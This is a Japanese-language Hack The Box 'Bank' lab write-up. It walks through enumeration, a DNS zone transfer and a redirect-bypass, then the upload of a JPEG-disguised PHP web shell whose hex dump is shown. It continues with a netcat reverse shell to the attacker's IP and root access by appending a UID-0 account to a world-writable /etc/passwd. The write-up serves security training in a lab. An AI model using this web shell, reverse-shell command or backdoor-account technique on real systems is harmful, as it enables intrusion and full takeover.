Hack The Box: Bankのwriteup。
久々にノーヒントで掌握できた。
以下はnmapのスキャン結果。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-08 08:52 EDT
Nmap scan report for 10.129.29.200
Host is up (0.54s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.49 seconds
- 22番ポートでSSHが起動中
- 53番ポートでDNSサーバーのBindが起動中
- 80番ポートでWebサーバーのApacheが起動中
標的IPにブラウザでアクセスしたところ、Apacheのデフォルトページが表示された。
gobusterでスキャンしてみたが、特に見るべきものは無さそうだった。
└─$ gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.29.200
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 284]
/.htaccess (Status: 403) [Size: 289]
/.htpasswd (Status: 403) [Size: 289]
/index.html (Status: 200) [Size: 11510]
/server-status (Status: 403) [Size: 293]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
nmapのスキャン結果より、DNSサービスが起動しているようだったので、前回の教訓を生かして、/etc/hosts
に以下のエントリーを追加して、DNSゾーン転送を試みてみた。
10.129.29.200 bank.htb
└─$ dig axfr @$RHOST bank.htb
; <<>> DiG 9.19.19-1-Debian <<>> axfr @10.129.29.200 bank.htb
; (1 server found)
;; global options: +cmd
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 6 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.129.29.200
ns.bank.htb. 604800 IN A 10.129.29.200
www.bank.htb. 604800 IN CNAME bank.htb.
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 6 604800 86400 2419200 604800
;; Query time: 296 msec
;; SERVER: 10.129.29.200#53(10.129.29.200) (TCP)
;; WHEN: Tue Apr 08 09:01:33 EDT 2025
;; XFR size: 6 records (messages 1, bytes 171)
bank.htb
、 ns.bank.htb
(DNSサーバー名)、www.bank.htb
というドメイン名が明らかになった。(ちなみにchris.bank.htb
はドメインではなく、ゾーン管理者のメールアドレスである)
まず、www.bank.htb
をgobusterやWPScanでスキャンしてみたが、特に目ぼしい発見は無かった。ドメインにブラウザでアクセスしても、Apacheのデフォルトページが表示されるだけだった。
続いて、bank.htb
にブラウザでアクセスしたところ、以下のログイン画面が表示された。

上記のログイン画面に対して、SQLインジェクション攻撃をしたり、hydraでブルートフォース・ログインを試行してみたりしたが、空振りに終わった。
gobusterでbank.htb
をスキャンしてみた。
└─$ gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bank.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 284]
/.htpasswd (Status: 403) [Size: 284]
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/index.php (Status: 302) [Size: 7322] [--> login.php]
/server-status (Status: 403) [Size: 288]
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
/inc
と/uploads
というディレクトリを発見。
このうち、/uploads
は403 Forbidden 応答が返ってきてアクセスできなかったが、/inc
にはアクセスできた。
以下は/inc
ディレクトリの中身。

いくつかPHPファイルがあるが、これらのファイルにはアクセスできなかった。
/inc
ディレクトリのことを気に留めつつ、引き続きgobusterでbank.htb
をスキャンしてみた。
└─$ gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirb/common.txt -x .php,.txt,.html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bank.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 280]
/.php (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/.hta.html (Status: 403) [Size: 284]
/.hta.php (Status: 403) [Size: 283]
/.htaccess.txt (Status: 403) [Size: 288]
/.htaccess.html (Status: 403) [Size: 289]
/.hta.txt (Status: 403) [Size: 283]
/.htaccess.php (Status: 403) [Size: 288]
/.htaccess (Status: 403) [Size: 284]
/.htpasswd (Status: 403) [Size: 284]
/.htpasswd.php (Status: 403) [Size: 288]
/.htpasswd.html (Status: 403) [Size: 289]
/.htpasswd.txt (Status: 403) [Size: 288]
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/index.php (Status: 302) [Size: 7322] [--> login.php]
/index.php (Status: 302) [Size: 7322] [--> login.php]
/login.php (Status: 200) [Size: 1974]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/server-status (Status: 403) [Size: 288]
/support.php (Status: 302) [Size: 3291] [--> login.php]
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
bank.htb
の直下に以下の4つのファイルを発見。
index.php
login.php
logout.php
support.php
上記のうち、login.php
は先述したログイン画面である。それ以外のPHPファイルにアクセスしようとすると、すべてlogin.php
にリダイレクトされた。
gobusterのスキャン結果より、どうも/inc
ディレクトリのことが気になったので、調べてみた。
で、LFIで/etc/passwd
を読み出せないか試したところ、サーバーから興味深い応答があった。
└─$ curl -i http://bank.htb/inc/../../../../../../../../../etc/passwd
HTTP/1.1 404 Not Found
Date: Thu, 10 Apr 2025 14:05:03 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 281
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /etc/passwd was not found on this server.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at bank.htb Port 80</address>
</body></html>
どうもサーバーは../
を相対パス扱いして/etc/passwd
にアクセスしようとしたっぽい印象を受ける (ファイルの読み出しこそ出来なかったが)。
試しにhttp://bank.htb/inc/../
にアクセスしてみたところ、またしても興味深い応答があった。
└─$ curl -i http://bank.htb/inc/../
HTTP/1.1 302 Found
Date: Thu, 10 Apr 2025 13:57:08 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Set-Cookie: HTBBankAuth=r1r0rkrrid36qgrqa04j4c2cm6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Content-Length: 7322
Content-Type: text/html
<div class="col-md-10">
<div class="row">
<div class="col-lg-3 col-md-6">
<div class="panel panel-primary">
<div class="panel-heading">
<div class="row">
<div class="col-xs-3">
<i class="fa fa-usd fa-5x"></i>
</div>
<div class="col-xs-9 text-right">
<div style="font-size: 30px;"> $</div>
<div>Balance</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6">
<div class="panel panel-yellow">
<div class="panel-heading">
<div class="row">
<div class="col-xs-3">
<i class="fa fa-shopping-cart fa-5x"></i>
</div>
<div class="col-xs-9 text-right">
<div style="font-size: 30px;">8</div>
<div>Total Transactions</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6">
<div class="panel panel-green">
<div class="panel-heading">
<div class="row">
<div class="col-xs-3">
<i class="fa fa-credit-card fa-5x"></i>
</div>
<div class="col-xs-9 text-right">
<div style="font-size: 30px;">0</div>
<div>Total CreditCards</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6">
<div class="panel panel-red">
<div class="panel-heading">
<div class="row">
<div class="col-xs-3">
<i class="fa fa-support fa-5x"></i>
</div>
<div class="col-xs-9 text-right">
<div style="font-size: 30px;">0</div>
<div>Support Tickets</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- /.row -->
<div class="">
<div class="panel panel-default">
<div class="panel-heading">
<h3 style="font-size: 20px;"><i class="fa fa-credit-card fa-fw"></i> CreditCard Information</h3>
</div>
<div class="panel-body">
<div class="table-responsive">
<table class="table table-bordered table-hover table-striped">
<thead>
<tr>
<th>Card Type</th>
<th>Card Number</th>
<th>Card Exp Date</th>
<th>CVV</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="">
<div class="panel panel-default">
<div class="panel-heading">
<h3 style="font-size: 20px;"><i class="fa fa-money fa-fw"></i> Transaction History</h3>
</div>
<div class="panel-body">
<div class="table-responsive">
<table class="table table-bordered table-hover table-striped">
<thead>
<tr>
<th>Transaction ID</th>
<th>Transaction Date</th>
<th>Transaction Time</th>
<th>Amount (USD)</th>
</tr>
</thead>
<tbody>
<tr>
<td>3326</td>
<td>10/21/2016</td>
<td>3:29 PM</td>
<td>$321.33</td>
</tr>
<tr>
<td>3325</td>
<td>10/21/2016</td>
<td>3:20 PM</td>
<td>$234.34</td>
</tr>
<tr>
<td>3324</td>
<td>10/21/2016</td>
<td>3:03 PM</td>
<td>$724.17</td>
</tr>
<tr>
<td>3323</td>
<td>10/21/2016</td>
<td>3:00 PM</td>
<td>$23.71</td>
</tr>
<tr>
<td>3322</td>
<td>10/21/2016</td>
<td>2:49 PM</td>
<td>$8345.23</td>
</tr>
<tr>
<td>3321</td>
<td>10/21/2016</td>
<td>2:23 PM</td>
<td>$245.12</td>
</tr>
<tr>
<td>3320</td>
<td>10/21/2016</td>
<td>2:15 PM</td>
<td>$5663.54</td>
</tr>
<tr>
<td>3319</td>
<td>10/21/2016</td>
<td>2:13 PM</td>
<td>$943.45</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<!-- /.row -->
</div>
</div>
<!-- /.container-fluid -->
</div>
<!-- /#page-wrapper -->
</div>
<!-- /#wrapper -->
<!-- jQuery -->
<script src="./assets/js/jquery.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="./assets/js/bootstrap.min.js"></script>
<!-- Morris Charts JavaScript -->
<script src="./assets/js/plugins/morris/raphael.min.js"></script>
<script src="./assets/js/plugins/morris/morris.min.js"></script>
<script src="./assets/js/plugins/morris/morris-data.js"></script>
<!-- SweetAlert -->
<script src="./assets/js/sweetalert.min.js"></script>
</body>
</html>
以下はサーバーから応答されたHTMLページをローカルに保存してブラウザでアクセスしたもの。

クレジットカードのトランザクション履歴っぽい? どうやら../
でディレクトリを遡ることで予期しないページにアクセスしたようである。
先ほど発見したsupport.php
にディレクトリトラバーサルでアクセスしてみた。
└─$ curl -i http://bank.htb/inc/../support.php
HTTP/1.1 302 Found
Date: Thu, 10 Apr 2025 14:31:27 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Set-Cookie: HTBBankAuth=s6d6orugdamf92mglnivbv0q37; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Content-Length: 3291
Content-Type: text/html
<div class="col-sm-5">
<div class="panel panel-primary">
<div class="panel-heading">
<h3 style="font-size: 20px;">My Tickets</h3>
</div>
<div class="panel-body">
<div class="content-box-large">
<div class="panel-body">
<table class="table table-bordered">
<thead>
<tr>
<th>#</th>
<th>Title</th>
<th>Message</th>
<th>Attachment</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
<!-- New Ticket -->
<div class="col-sm-5">
<section class="panel">
<div class="panel-body">
<form class="new_ticket" id="new_ticket" accept-charset="UTF-8" method="post" enctype="multipart/form-data">
<label>Title</label>
<input required placeholder="Title" class="form-control" type="text" name="title" id="ticket_title" style="background-repeat: repeat; background-image: none; background-position: 0% 0%;">
<br>
<label>Message</label>
<textarea required placeholder="Tell us your problem" class="form-control" style="height: 170px; background-repeat: repeat; background-image: none; background-position: 0% 0%;" name="message" id="ticket_message"></textarea>
<br>
<div style="position:relative;">
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
<a class='btn btn-primary' href='javascript:;'>
Choose File...
<input type="file" required style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="fileToUpload" size="40" onchange='$("#upload-file-info").html($(this).val().replace("C:\\fakepath\\", ""));'>
</a>
<span class='label label-info' id="upload-file-info"></span>
</div>
<br>
<button name="submitadd" type="submit" class="btn btn-primary mt20" data-disable-with="<div class="loading-o" style="padding: 7px 21px;"></div>">Submit</button>
</form>
</div>
</section>
</div>
</div>
<!-- /#page-wrapper -->
</div>
<!-- /#wrapper -->
<!-- jQuery -->
<script src="./assets/js/jquery.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="./assets/js/bootstrap.min.js"></script>
<!-- Morris Charts JavaScript -->
<script src="./assets/js/plugins/morris/raphael.min.js"></script>
<script src="./assets/js/plugins/morris/morris.min.js"></script>
<script src="./assets/js/plugins/morris/morris-data.js"></script>
<!-- SweetAlert -->
<script src="./assets/js/sweetalert.min.js"></script>
</body>
</html>
以下はサーバーから応答されたHTMLページをローカルに保存してブラウザでアクセスしたもの。

どうやらsupport.php
はチケット作成のページのようである。しかもファイル添付機能付き。
さらにソースコードの中に以下の興味深いコメントを発見。
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
どうやら.htb
拡張子を持つファイルはPHPファイルとして扱われる模様。
こいつを利用すれば、Web Shellをアップロードして標的マシンに侵入できそうである。
試しに以下のcurlコマンドでテストファイルをアップロードしてみた。(HTMLフォームによるデータ送信を再現するために-F
オプションを使用)
curl -i http://bank.htb/inc/../support.php -F 'title=upload_test' -F 'message=this_is_upload_test' -F 'fileToUpload=@test.txt;filename=test.txt' -F 'submitadd='
するとサーバーから以下の応答があった。
<script>swal("Oops", "You cant upload this this file. You can upload only images.", "error");</script>
どうやらファイルをアップロードするには画像ファイルと誤認させる必要がありそう。
こちらからJPEG形式のWeb Shellを拝借した。といってもPHPのWeb ShellにJPEGのヘッダーを挿入しただけのものである。
└─$ file shell.php
shell.php: JPEG image data
└─$ xxd shell.php
00000000: ffd8 ffe0 0a3c 666f 726d 2061 6374 696f .....<form actio
00000010: 6e3d 2222 206d 6574 686f 643d 2267 6574 n="" method="get
00000020: 223e 0a43 6f6d 6d61 6e64 3a20 3c69 6e70 ">.Command: <inp
00000030: 7574 2074 7970 653d 2274 6578 7422 206e ut type="text" n
00000040: 616d 653d 2263 6d64 2220 2f3e 3c69 6e70 ame="cmd" /><inp
00000050: 7574 2074 7970 653d 2273 7562 6d69 7422 ut type="submit"
00000060: 2076 616c 7565 3d22 4578 6563 2220 2f3e value="Exec" />
00000070: 0a3c 2f66 6f72 6d3e 0a4f 7574 7075 743a .</form>.Output:
00000080: 3c62 7220 2f3e 0a3c 7072 653e 3c3f 7068 <br />.<pre><?ph
00000090: 7020 7061 7373 7468 7275 2824 5f52 4551 p passthru($_REQ
000000a0: 5545 5354 5b27 636d 6427 5d2c 2024 7265 UEST['cmd'], $re
000000b0: 7375 6c74 293b 203f 3e3c 2f70 7265 3e0a sult); ?></pre>.
拡張子を.htb
に変更してアップロード。
curl -i http://bank.htb/inc/../support.php -F 'title=upload_webshell' -F 'message=uploaded webshell' -F 'fileToUpload=@shell.php;filename=shell.htb' -F 'submitadd='
└─$ curl -i http://bank.htb/inc/../support.php -F 'title=upload_webshell' -F 'message=uploaded webshell' -F 'fileToUpload=@shell.php;filename=shell.htb' -F 'submitadd='
HTTP/1.1 302 Found
Date: Fri, 11 Apr 2025 14:23:51 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Set-Cookie: HTBBankAuth=0qcircl2h194ed5p3gha7uut73; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Content-Length: 3568
Content-Type: text/html
<div class="col-sm-5">
<div class="panel panel-primary">
<div class="panel-heading">
<h3 style="font-size: 20px;">My Tickets</h3>
</div>
<div class="panel-body">
<div class="content-box-large">
<div class="panel-body">
<table class="table table-bordered">
<thead>
<tr>
<th>#</th>
<th>Title</th>
<th>Message</th>
<th>Attachment</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr><td>1</td><td>upload_webshell</td><td>uploaded webshell</td><td><a href='http://bank.htb/uploads/shell.htb'>Click Here</a></td><td><a href='delete-ticket.php?id=1'>Delete</a></td></tr> </tbody>
</table>
</div>
</div>
</div>
</div>
</div>
<!-- New Ticket -->
<div class="col-sm-5">
<section class="panel">
-- snipped --
</body>
</html>
<script>swal("Success", "Your ticket has been created successfully", "success");</script>
アップロード成功っぽい。アップロード先のhttp://bank.htb/uploads/shell.htb
にアクセスしてみた。

Web Shellのアップロード完了である。コマンドをいくつか叩いて一般ユーザーのフラグ/home/chris/user.txt
を入手した。

続いて権限昇格だが、その前に、より対話的にコマンドを叩きたいのでリバースシェルを張ることにした。which nc
で標的マシンにNetcatがインストールされていることを確認できたので、Web Shellに以下のコマンドを入力してリバースシェルを張った。
nc 10.10.16.174 53 -e /bin/bash

無事、リバースシェルが張られた。
└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.29.200] 60058
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@bank:/var/www/bank/uploads$
さて、引き続き権限昇格である。
書き込み可能ディレクトリを確認したところ、/etc/passwd
に書き込み出来るっぽい?
www-data@bank:/home/chris$ find / -writable 2>/dev/null | grep -v proc | cut -d "/" -f 1,2,3,4 | sort -u
<ll | grep -v proc | cut -d "/" -f 1,2,3,4 | sort -u
/dev/char/10:200
/dev/char/10:229
/dev/char/1:3
/dev/char/1:5
/dev/char/1:7
/dev/char/1:8
/dev/char/1:9
/dev/char/5:0
/dev/char/5:2
/dev/fd
/dev/full
/dev/fuse
/dev/log
/dev/net/tun
/dev/null
/dev/ptmx
/dev/pts/0
/dev/random
/dev/shm
/dev/stderr
/dev/stdin
/dev/stdout
/dev/tty
/dev/urandom
/dev/zero
/etc/passwd
/home/chris/.bash_history
/run/acpid.socket
/run/dbus/system_bus_socket
/run/lock
/run/lock/apache2
/run/mysqld/mysqld.sock
/run/shm
/sys/kernel/security
/tmp
/var/cache/apache2
/var/crash
/var/lib/apache2
/var/lib/php5
/var/lock
/var/tmp
/var/www/bank
/etc/passwd
のアクセス権を確認したところ、やはりrootユーザー以外でも書き込みできる模様。
www-data@bank:/home/chris$ ls -lh /etc/passwd
ls -lh /etc/passwd
-rw-rw-rw- 1 root root 1.3K May 28 2017 /etc/passwd
ということは、新たにrootアカウントを追加できるということである。
まずは以下のopensslコマンドで認証用のパスワード(hoge
)のハッシュ値を生成。
www-data@bank:/home/chris$ openssl passwd hoge
openssl passwd hoge
.Pus3E7Znaido
.Pus3E7Znaido
というハッシュ値が生成された。
続いて以下のコマンドで新たにsecretroot
というrootアカウントを追加。UIDとGIDを0
にセットしている点に注目。認証パスワードはhoge
である。
echo "secretroot:.Pus3E7Znaido:0:0:this is secret root account:/root:/bin/bash" >> /etc/passwd
ユーザーが追加されたことを確認。
www-data@bank:/home/chris$ grep secretroot /etc/passwd
grep secretroot /etc/passwd
secretroot:.Pus3E7Znaido:0:0:this is secret root account:/root:/bin/bash
あとはsu secretroot
で追加したrootアカウントに切り替わるだけである。
www-data@bank:/home/chris$ su secretroot
su secretroot
Password: hoge
root@bank:/home/chris# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bank:/home/chris# cat /root/root.txt
cat /root/root.txt
d55c28efffe04f2c6e4b9<REDACTED>
無事、rootアカウントに切り替わり、rootユーザーのフラグ/root/root.txt
を入手できた。